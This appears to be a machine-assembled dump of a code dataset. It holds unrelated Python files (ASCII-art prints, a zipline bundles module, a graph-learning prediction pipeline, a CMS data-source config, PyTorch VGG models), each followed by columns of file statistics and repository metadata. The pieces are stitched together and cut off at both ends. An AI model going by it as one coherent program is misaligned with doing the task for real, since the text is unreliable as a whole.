print("└───────────────────────────────────────────────────────────────────────────┘")
print("| ┌─────────────────┐ ┌─────────────────┐ |")
print("| | RECEIPT | | CARD ↓ | |")
print("| └─────────────────┘ └─────────────────┘ |")
print("| ─────────────────── ┌───────────────────┐ |")
print("| └ ┘ |\____________\─────| |")
print("| ||__|░░░░░░░░░░░|___| |")
print("| └───└───────────┘───┘ |")
print("| |")
print("| ┌───────────────────────────────────────────┐ |")
print("| └───────────────────────────────────────────┘ |")
print("| |")
print("└───────────────────────────────────────────────────────────────────────────┘|\n")
| 81.486301
| 114
| 0.103219
| 409
| 11,897
| 12.718826
| 0.254279
| 0.038447
| 0.192426
| 0.116878
| 0.8391
| 0.8391
| 0.8391
| 0.82526
| 0.82526
| 0.82526
| 0
| 0.009583
| 0.429856
| 11,897
| 145
| 115
| 82.048276
| 0.157452
| 0.023115
| 0
| 0.914063
| 0
| 0.054688
| 0.823215
| 0.315078
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03125
| true
| 0
| 0
| 0
| 0.03125
| 0.96875
| 0
| 0
| 1
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 13
|
2fbf19d5b11313637b0457d16e11e6bd935754f7
| 402
|
py
|
Python
|
zipline/data/bundles/__init__.py
|
quantrocket-llc/zipline
|
4eccd1ff3f07addbdc1f9682b608e0584a9b59c6
|
[
"Apache-2.0"
] | 14
|
2018-02-05T18:38:15.000Z
|
2022-01-15T21:31:30.000Z
|
zipline/data/bundles/__init__.py
|
quantrocket-llc/zipline
|
4eccd1ff3f07addbdc1f9682b608e0584a9b59c6
|
[
"Apache-2.0"
] | null | null | null |
zipline/data/bundles/__init__.py
|
quantrocket-llc/zipline
|
4eccd1ff3f07addbdc1f9682b608e0584a9b59c6
|
[
"Apache-2.0"
] | 8
|
2020-02-14T04:21:46.000Z
|
2022-01-30T06:42:50.000Z
|
from .core import (
UnknownBundle,
bundles,
from_bundle_ingest_dirname,
ingest,
ingestions_for_bundle,
load,
register,
to_bundle_ingest_dirname,
unregister,
)
__all__ = [
'UnknownBundle',
'bundles',
'from_bundle_ingest_dirname',
'ingest',
'ingestions_for_bundle',
'load',
'register',
'to_bundle_ingest_dirname',
'unregister',
]
| 16.08
| 33
| 0.644279
| 38
| 402
| 6.289474
| 0.394737
| 0.200837
| 0.317992
| 0.251046
| 0.92887
| 0.92887
| 0.92887
| 0.92887
| 0.92887
| 0.92887
| 0
| 0
| 0.251244
| 402
| 24
| 34
| 16.75
| 0.79402
| 0
| 0
| 0
| 0
| 0
| 0.29602
| 0.176617
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.045455
| 0
| 0.045455
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
2fc888e95a57d483f827dc0710bb70fd27e364c9
| 41
|
py
|
Python
|
Chapter 04/ch41h.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
Chapter 04/ch41h.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
Chapter 04/ch41h.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
print( (40 and 50) or (0 or 30))
#50
| 13.666667
| 35
| 0.512195
| 9
| 41
| 2.333333
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.321429
| 0.317073
| 41
| 3
| 36
| 13.666667
| 0.428571
| 0.04878
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
2ffe46a9cf61884da270727c6c94c3c04ce9dc97
| 17,215
|
py
|
Python
|
src/pipeline/predict/main.py
|
RausellLab/tiresias
|
2acca303a0f6b4b1be784f597a59c1a883dbe43d
|
[
"Apache-2.0"
] | 6
|
2019-07-03T16:11:15.000Z
|
2021-07-12T18:42:44.000Z
|
src/pipeline/predict/main.py
|
RausellLab/tiresias
|
2acca303a0f6b4b1be784f597a59c1a883dbe43d
|
[
"Apache-2.0"
] | null | null | null |
src/pipeline/predict/main.py
|
RausellLab/tiresias
|
2acca303a0f6b4b1be784f597a59c1a883dbe43d
|
[
"Apache-2.0"
] | 5
|
2019-10-16T09:40:58.000Z
|
2020-01-30T20:32:49.000Z
|
import ray
import gc
import torch
from functools import partial
from src import config
from src.config import artifact_stores
from src.utils.parameters import param_combinations
from src.pipeline.predict.tasks.direct_neighbors import direct_neighbors
from src.pipeline.predict.tasks.net_prop_with_restart import label_spreading
from src.pipeline.predict.tasks.net_prop_with_restart import rwr
from src.pipeline.predict.tasks.bagging_logistic_regression import (
bagging_logistic_regression,
)
from src.pipeline.predict.tasks.bagging_mlp import bagging_mlp
from src.pipeline.predict.tasks.bagging_gcn import bagging_gcn
from src.pipeline.predict.tasks.bagging_rgcn import bagging_rgcn
from src.pipeline.predict.tasks.rwr_m import rwr_m
from src.pipeline.predict.tasks.bagging_rgcn_embeddings import bagging_rgcn_embeddings
param_combinations = partial(param_combinations, "test")
def main():
if config.gpus > 0:
use_cuda = True
else:
config.gpus = 1
use_cuda = False
# ray.init(
# num_cpus=config.cpus,
# num_gpus=config.gpus,
# memory=config.memory * 1e9,
# temp_dir=config.temp_dir,
# local_mode=True
# )
results = []
train_node_labels_file = config.train_node_labels_file_processed
test_node_labels_file = config.test_node_labels_file_processed
node_attributes_file = config.node_attributes_file_processed
for (
adjacency_matrix_files,
metadata,
) in artifact_stores.adjacency_matrices.merged_layer:
adjacency_matrix_file = adjacency_matrix_files[0]
if config.models["direct_neighbors"]:
retry_counter = 0
while retry_counter < 3:
try:
dn_res = direct_neighbors(
adjacency_matrix_file,
train_node_labels_file,
test_node_labels_file,
use_cuda,
metadata,
)
results.append(dn_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["label_spreading"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("label_spreading"):
ls_res = label_spreading(
adjacency_matrix_file,
train_node_labels_file,
test_node_labels_file,
use_cuda,
params,
metadata,
)
results.append(ls_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["rwr"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("rwr"):
rwr_res = rwr(
adjacency_matrix_file,
train_node_labels_file,
test_node_labels_file,
use_cuda,
params,
metadata,
)
results.append(rwr_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_gcn"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("bagging_gcn"):
bagging_gcn_res = bagging_gcn(
adjacency_matrix_file,
None,
train_node_labels_file,
test_node_labels_file,
use_cuda,
params,
metadata,
)
results.append(bagging_gcn_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_gcn_with_attributes"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("bagging_gcn_with_attributes"):
bagging_gcn_att_res = bagging_gcn(
adjacency_matrix_file,
node_attributes_file,
train_node_labels_file,
test_node_labels_file,
use_cuda,
params,
metadata,
)
results.append(bagging_gcn_att_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
for (
adjacency_matrix_files,
metadata,
) in artifact_stores.adjacency_matrices.multi_layer:
if config.models["rwr_m"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("rwr_m"):
rwr_m_res = rwr_m(
adjacency_matrix_files,
train_node_labels_file,
test_node_labels_file,
False,
params,
metadata,
)
results.append(rwr_m_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_rgcn"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("bagging_rgcn"):
bagging_rgcn_res = bagging_rgcn(
adjacency_matrix_files,
train_node_labels_file,
test_node_labels_file,
None,
use_cuda,
params,
metadata,
)
results.append(bagging_rgcn_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_rgcn_with_attributes"]:
retry_counter = 0
while retry_counter < 3:
try:
for params in param_combinations("bagging_rgcn_with_attributes"):
bagging_rgcn_att_res = bagging_rgcn(
adjacency_matrix_files,
train_node_labels_file,
test_node_labels_file,
node_attributes_file,
use_cuda,
params,
metadata,
)
results.append(bagging_rgcn_att_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
for embeddings_files, metadata in artifact_stores.embeddings:
embeddings_file = embeddings_files[0]
if config.models["bagging_logistic_regression"]:
retry_counter = 0
while retry_counter < 3:
try:
for bagging_log_reg_params in param_combinations("bagging_logistic_regression"):
lg_res = bagging_logistic_regression(
embeddings_file,
train_node_labels_file,
test_node_labels_file,
None,
use_cuda,
bagging_log_reg_params,
metadata,
)
results.append(lg_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_logistic_regression_with_attributes"]:
retry_counter = 0
while retry_counter < 3:
try:
for bagging_log_reg_params in param_combinations("bagging_logistic_regression_with_attributes"):
lg_att_res = bagging_logistic_regression(
embeddings_file,
train_node_labels_file,
test_node_labels_file,
node_attributes_file,
use_cuda,
bagging_log_reg_params,
metadata,
)
results.append(lg_att_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_mlp"]:
retry_counter = 0
while retry_counter < 3:
try:
for bagging_mlp_params in param_combinations("bagging_mlp"):
mlp_res = bagging_mlp(
embeddings_file,
train_node_labels_file,
test_node_labels_file,
None,
use_cuda,
bagging_mlp_params,
metadata,
)
results.append(mlp_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_mlp_with_attributes"]:
retry_counter = 0
while retry_counter < 3:
try:
for bagging_mlp_params in param_combinations("bagging_mlp_with_attributes"):
mlp_res = bagging_mlp(
embeddings_file,
train_node_labels_file,
test_node_labels_file,
node_attributes_file,
use_cuda,
bagging_mlp_params,
metadata,
)
results.append(mlp_res)
break
except RuntimeError as e:
retry_counter += 1
print('Runtime Error {}\nRun Again......{}/{}'.format(e,retry_counter, 3))
if retry_counter == 3:
print('Model Failed after 3 attemps, reduce the amount of input data. Following pipeline')
break
finally:
# Handle CUDA OOM Error Safely
gc.collect()
torch.cuda.empty_cache()
if config.models["bagging_rgcn_with_embeddings"]:
for (
adjacency_matrix_files,
metadata_adj,
) in artifact_stores.adjacency_matrices.multi_layer:
for embeddings_files, metadata_embed in artifact_stores.embeddings:
embeddings_file = embeddings_files[0]
metadata = {
"embeddings": metadata_embed,
"adjacency_matrices": metadata_adj,
}
for params in param_combinations("bagging_rgcn_with_embeddings"):
res = bagging_rgcn_embeddings(
adjacency_matrix_files,
train_node_labels_file,
test_node_labels_file,
embeddings_file,
use_cuda,
params,
metadata,
)
results.append(res)
#ray.get(results)
if __name__ == "__main__":
main()
| 39.941995
| 116
| 0.460529
| 1,485
| 17,215
| 5.054545
| 0.082155
| 0.095923
| 0.06235
| 0.03797
| 0.837863
| 0.815881
| 0.786171
| 0.763922
| 0.743006
| 0.728084
| 0
| 0.008821
| 0.479756
| 17,215
| 430
| 117
| 40.034884
| 0.829276
| 0.029567
| 0
| 0.717877
| 0
| 0
| 0.117351
| 0.021576
| 0
| 0
| 0
| 0
| 0
| 1
| 0.002793
| false
| 0
| 0.044693
| 0
| 0.047486
| 0.067039
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6409def8b8bbae7e6ec74142598da80cf0a42cd1
| 204
|
py
|
Python
|
flaskd3/domains/serviceif/__init__.py
|
hohihohi/flask_ddd_sample
|
34bd1af4614577be0a6b410250f2d58d2c6f3b93
|
[
"MIT"
] | null | null | null |
flaskd3/domains/serviceif/__init__.py
|
hohihohi/flask_ddd_sample
|
34bd1af4614577be0a6b410250f2d58d2c6f3b93
|
[
"MIT"
] | null | null | null |
flaskd3/domains/serviceif/__init__.py
|
hohihohi/flask_ddd_sample
|
34bd1af4614577be0a6b410250f2d58d2c6f3b93
|
[
"MIT"
] | null | null | null |
from .bucket_domain_service import BucketDomainServiceIF # NOQA
from .data_source_domain_service import DataSourceDomainServiceIF # NOQA
from .object_domain_service import ObjectDomainServiceIF # NOQA
| 51
| 73
| 0.867647
| 22
| 204
| 7.727273
| 0.545455
| 0.229412
| 0.335294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102941
| 204
| 3
| 74
| 68
| 0.928962
| 0.068627
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
643a26daea7d1690240661a18118bf44a2d43958
| 3,044
|
py
|
Python
|
L1Trigger/CSCTriggerPrimitives/test/run080609_103605_cfi.py
|
nistefan/cmssw
|
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
|
[
"Apache-2.0"
] | null | null | null |
L1Trigger/CSCTriggerPrimitives/test/run080609_103605_cfi.py
|
nistefan/cmssw
|
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
|
[
"Apache-2.0"
] | null | null | null |
L1Trigger/CSCTriggerPrimitives/test/run080609_103605_cfi.py
|
nistefan/cmssw
|
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
|
[
"Apache-2.0"
] | null | null | null |
import FWCore.ParameterSet.Config as cms
source = cms.Source("DaqSource",
readerPluginName = cms.untracked.string("CSCFileReader"),
readerPset = cms.untracked.PSet(
firstEvent = cms.untracked.int32(0),
RUI00 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI00_Default_000_080609_103605_UTC.raw"),
RUI01 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI01_Default_000_080609_103605_UTC.raw"),
RUI02 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI02_Default_000_080609_103605_UTC.raw"),
RUI03 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI03_Default_000_080609_103605_UTC.raw"),
RUI04 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI04_Default_000_080609_103605_UTC.raw"),
RUI05 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI05_Default_000_080609_103605_UTC.raw"),
RUI06 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI06_Default_000_080609_103605_UTC.raw"),
RUI07 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI07_Default_000_080609_103605_UTC.raw"),
RUI08 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI08_Default_000_080609_103605_UTC.raw"),
RUI09 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI09_Default_000_080609_103605_UTC.raw"),
RUI10 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI10_Default_000_080609_103605_UTC.raw"),
RUI11 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI11_Default_000_080609_103605_UTC.raw"),
RUI12 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI12_Default_000_080609_103605_UTC.raw"),
RUI13 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI13_Default_000_080609_103605_UTC.raw"),
RUI14 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI14_Default_000_080609_103605_UTC.raw"),
RUI15 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI15_Default_000_080609_103605_UTC.raw"),
RUI16 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI16_Default_000_080609_103605_UTC.raw"),
RUI17 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI17_Default_000_080609_103605_UTC.raw"),
RUI18 = cms.untracked.vstring("/data0/slava/data/run080609_103605/csc_00000000_EmuRUI18_Default_000_080609_103605_UTC.raw"),
FED750 = cms.untracked.vstring("RUI01", "RUI02", "RUI03", "RUI04", "RUI05", "RUI06", "RUI07", "RUI08", "RUI09", "RUI10"),
FED751 = cms.untracked.vstring("RUI11", "RUI12", "RUI13", "RUI14", "RUI15", "RUI16", "RUI17", "RUI18"),
FED760 = cms.untracked.vstring("RUI00")
)
)
| 98.193548
| 132
| 0.782523
| 397
| 3,044
| 5.617128
| 0.178841
| 0.134529
| 0.187444
| 0.204484
| 0.741256
| 0.741256
| 0.502691
| 0.502691
| 0.502691
| 0.502691
| 0
| 0.294867
| 0.097569
| 3,044
| 30
| 133
| 101.466667
| 0.516928
| 0
| 0
| 0
| 0
| 0
| 0.600197
| 0.561761
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.034483
| 0
| 0.034483
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ff7547cb0c3faa7ae25240961b9895d82c2153de
| 6,850
|
py
|
Python
|
bayetorch/models/frequentist/vgg.py
|
yliess86/BayeTorch
|
fbd4447bdf2b9402b3c7df83e776f08ae940b313
|
[
"MIT"
] | 1
|
2020-04-09T23:08:14.000Z
|
2020-04-09T23:08:14.000Z
|
bayetorch/models/frequentist/vgg.py
|
yliess86/BayeTorch
|
fbd4447bdf2b9402b3c7df83e776f08ae940b313
|
[
"MIT"
] | null | null | null |
bayetorch/models/frequentist/vgg.py
|
yliess86/BayeTorch
|
fbd4447bdf2b9402b3c7df83e776f08ae940b313
|
[
"MIT"
] | null | null | null |
from torch import Tensor
import torch
import torch.nn as nn
class VGG11(nn.Module):
def __init__(self, n_classes: int = 10) -> None:
super(VGG11, self).__init__()
self.n_classes = n_classes
self.conv1 = nn.Conv2d( 3, 64, 3, padding=1)
self.conv2 = nn.Conv2d( 64, 128, 3, padding=1)
self.conv3 = nn.Conv2d(128, 256, 3, padding=1)
self.conv4 = nn.Conv2d(256, 256, 3, padding=1)
self.conv5 = nn.Conv2d(256, 512, 3, padding=1)
self.conv6 = nn.Conv2d(512, 512, 3, padding=1)
self.conv7 = nn.Conv2d(512, 512, 3, padding=1)
self.conv8 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1 = nn.Linear(512, 512)
self.fc2 = nn.Linear(512, n_classes)
def forward(self, X: Tensor) -> Tensor:
X = torch.max_pool2d(torch.relu(self.conv1(X)), 2, stride=2)
X = torch.max_pool2d(torch.relu(self.conv2(X)), 2, stride=2)
X = torch.relu(self.conv3(X))
X = torch.max_pool2d(torch.relu(self.conv4(X)), 2, stride=2)
X = torch.relu(self.conv5(X))
X = torch.max_pool2d(torch.relu(self.conv6(X)), 2, stride=2)
X = torch.relu(self.conv7(X))
X = torch.max_pool2d(torch.relu(self.conv8(X)), 2, stride=2)
X = X.view(X.size(0), -1)
X = torch.relu(self.fc1(X))
X = self.fc2(X)
return X
class VGG13(nn.Module):
def __init__(self, n_classes: int = 10) -> None:
super(VGG13, self).__init__()
self.n_classes = n_classes
self.conv1 = nn.Conv2d( 3, 64, 3, padding=1)
self.conv2 = nn.Conv2d( 64, 64, 3, padding=1)
self.conv3 = nn.Conv2d( 64, 128, 3, padding=1)
self.conv4 = nn.Conv2d(128, 128, 3, padding=1)
self.conv5 = nn.Conv2d(128, 256, 3, padding=1)
self.conv6 = nn.Conv2d(256, 256, 3, padding=1)
self.conv7 = nn.Conv2d(256, 512, 3, padding=1)
self.conv8 = nn.Conv2d(512, 512, 3, padding=1)
self.conv9 = nn.Conv2d(512, 512, 3, padding=1)
self.conv10 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1 = nn.Linear(512, 512)
self.fc2 = nn.Linear(512, n_classes)
def forward(self, X: Tensor) -> Tensor:
X = torch.relu(self.conv1(X))
X = torch.max_pool2d(torch.relu(self.conv2(X)), 2, stride=2)
X = torch.relu(self.conv3(X))
X = torch.max_pool2d(torch.relu(self.conv4(X)), 2, stride=2)
X = torch.relu(self.conv5(X))
X = torch.max_pool2d(torch.relu(self.conv6(X)), 2, stride=2)
X = torch.relu(self.conv7(X))
X = torch.max_pool2d(torch.relu(self.conv8(X)), 2, stride=2)
X = torch.relu(self.conv9(X))
X = torch.max_pool2d(torch.relu(self.conv10(X)), 2, stride=2)
X = X.view(X.size(0), -1)
X = torch.relu(self.fc1(X))
X = self.fc2(X)
return X
class VGG16(nn.Module):
def __init__(self, n_classes: int = 10) -> None:
super(VGG16, self).__init__()
self.n_classes = n_classes
self.conv1 = nn.Conv2d( 3, 64, 3, padding=1)
self.conv2 = nn.Conv2d( 64, 64, 3, padding=1)
self.conv3 = nn.Conv2d( 64, 128, 3, padding=1)
self.conv4 = nn.Conv2d(128, 128, 3, padding=1)
self.conv5 = nn.Conv2d(128, 256, 3, padding=1)
self.conv6 = nn.Conv2d(256, 256, 3, padding=1)
self.conv7 = nn.Conv2d(256, 256, 3, padding=1)
self.conv8 = nn.Conv2d(256, 512, 3, padding=1)
self.conv9 = nn.Conv2d(512, 512, 3, padding=1)
self.conv10 = nn.Conv2d(512, 512, 3, padding=1)
self.conv11 = nn.Conv2d(512, 512, 3, padding=1)
self.conv12 = nn.Conv2d(512, 512, 3, padding=1)
self.conv13 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1 = nn.Linear(512, 512)
self.fc2 = nn.Linear(512, n_classes)
def forward(self, X: Tensor) -> Tensor:
X = torch.relu(self.conv1(X))
X = torch.max_pool2d(torch.relu(self.conv2(X)), 2, stride=2)
X = torch.relu(self.conv3(X))
X = torch.max_pool2d(torch.relu(self.conv4(X)), 2, stride=2)
X = torch.relu(self.conv5(X))
X = torch.relu(self.conv6(X))
X = torch.max_pool2d(torch.relu(self.conv7(X)), 2, stride=2)
X = torch.relu(self.conv8(X))
X = torch.relu(self.conv9(X))
X = torch.max_pool2d(torch.relu(self.conv10(X)), 2, stride=2)
X = torch.relu(self.conv11(X))
X = torch.relu(self.conv12(X))
X = torch.max_pool2d(torch.relu(self.conv13(X)), 2, stride=2)
X = X.view(X.size(0), -1)
X = torch.relu(self.fc1(X))
X = self.fc2(X)
return X
class VGG19(nn.Module):
def __init__(self, n_classes: int = 10) -> None:
super(VGG19, self).__init__()
self.n_classes = n_classes
self.conv1 = nn.Conv2d( 3, 64, 3, padding=1)
self.conv2 = nn.Conv2d( 64, 64, 3, padding=1)
self.conv3 = nn.Conv2d( 64, 128, 3, padding=1)
self.conv4 = nn.Conv2d(128, 128, 3, padding=1)
self.conv5 = nn.Conv2d(128, 256, 3, padding=1)
self.conv6 = nn.Conv2d(256, 256, 3, padding=1)
self.conv7 = nn.Conv2d(256, 256, 3, padding=1)
self.conv8 = nn.Conv2d(256, 256, 3, padding=1)
self.conv9 = nn.Conv2d(256, 512, 3, padding=1)
self.conv10 = nn.Conv2d(512, 512, 3, padding=1)
self.conv11 = nn.Conv2d(512, 512, 3, padding=1)
self.conv12 = nn.Conv2d(512, 512, 3, padding=1)
self.conv13 = nn.Conv2d(512, 512, 3, padding=1)
self.conv14 = nn.Conv2d(512, 512, 3, padding=1)
self.conv15 = nn.Conv2d(512, 512, 3, padding=1)
self.conv16 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1 = nn.Linear(512, 512)
self.fc2 = nn.Linear(512, n_classes)
def forward(self, X: Tensor) -> Tensor:
X = torch.relu(self.conv1(X))
X = torch.max_pool2d(torch.relu(self.conv2(X)), 2, stride=2)
X = torch.relu(self.conv3(X))
X = torch.max_pool2d(torch.relu(self.conv4(X)), 2, stride=2)
X = torch.relu(self.conv5(X))
X = torch.relu(self.conv6(X))
X = torch.relu(self.conv7(X))
X = torch.max_pool2d(torch.relu(self.conv8(X)), 2, stride=2)
X = torch.relu(self.conv9(X))
X = torch.relu(self.conv10(X))
X = torch.relu(self.conv11(X))
X = torch.max_pool2d(torch.relu(self.conv12(X)), 2, stride=2)
X = torch.relu(self.conv13(X))
X = torch.relu(self.conv14(X))
X = torch.relu(self.conv15(X))
X = torch.max_pool2d(torch.relu(self.conv16(X)), 2, stride=2)
X = X.view(X.size(0), -1)
X = torch.relu(self.fc1(X))
X = self.fc2(X)
return X
| 39.367816
| 69
| 0.558102
| 1,072
| 6,850
| 3.502799
| 0.055037
| 0.081491
| 0.176565
| 0.162716
| 0.965379
| 0.940613
| 0.938216
| 0.924368
| 0.813316
| 0.813316
| 0
| 0.134428
| 0.28
| 6,850
| 174
| 70
| 39.367816
| 0.626926
| 0
| 0
| 0.751773
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056738
| false
| 0
| 0.021277
| 0
| 0.134752
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ffac750003c39acc5645ff4d6416985641a45c22
| 5,760
|
py
|
Python
|
test_shrink.py
|
tmenjo/gimp-python-fu-testing
|
8ec2d85dd59c71a66b2ce04cb087a8844ad8b5c8
|
[
"MIT"
] | null | null | null |
test_shrink.py
|
tmenjo/gimp-python-fu-testing
|
